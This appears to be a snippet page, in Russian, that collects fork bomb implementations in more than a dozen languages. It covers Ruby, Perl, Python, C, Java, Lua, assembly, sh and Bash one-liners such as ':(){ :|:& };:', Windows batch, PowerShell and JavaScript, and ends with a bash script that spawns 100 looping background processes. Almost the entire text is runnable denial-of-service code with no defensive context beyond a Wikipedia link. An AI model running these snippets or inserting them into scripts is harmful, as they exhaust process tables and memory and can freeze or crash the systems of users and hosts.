Ссылки:
1 |
https://en.wikipedia.org/wiki/Fork_bomb |
Ruby
1 |
fork while true |
Perl
1 |
perl -e "fork while fork" & |
Python
1 2 3 |
import os while True: os.fork() |
C
1 2 3 4 5 6 7 8 9 10 11 |
#include <sys/types.h> #include <unistd.h> int main() { while(1) { fork(); } return 0; } |
Java
1 2 3 4 5 6 7 8 9 10 |
public class ForkBomb { public static void main(String[] args) { while (true) { Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"}); } } } |
Lua
1 2 3 4 5 6 |
-- Requires `luaposix' module local unistd = require "posix.unistd" while true do unistd.fork() end |
Assembly (Linux running on IA-32)
1 2 3 4 5 6 7 |
section .text global _start _start: mov eax,2 ;System call for forking int 0x80 ;Call kernel jmp _start |
Shell script
1 2 |
#!/bin/sh ./$0|./$0& |
Shell script
1 2 3 |
#!/bin/sh ./$0& ./$0& |
Bash
1 2 3 4 |
bomb(){ bomb | bomb & } bomb |
Bash
1 |
:(){ :|:& };: |
Bash
1 |
bomb(){bomb|bomb&};bomb |
Windows batch
1 2 3 |
:ForkBomb start goto ForkBomb |
Windows batch
1 |
%0 | %0 |
Windows batch
1 |
echo %0^|%0 >forkbomb.bat & forkbomb.bat |
Windows batch
1 |
cmd /k echo -^|->-.bat&- |
PowerShell
1 2 3 4 |
while ($true) { Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"; Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}'; } |
JavaScript
1 |
(f => f(f))(async f => f(f) && f(f)); |
bash primer while mini bomb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
cat 2.txt --------- #!/bin/bash while : do #echo `date` #echo sleep 1 done --------- cat 1.txt --------- #!/bin/bash i=1 while [ $i -le 100 ] do ./2.txt & i=$(($i+1)) done --------- |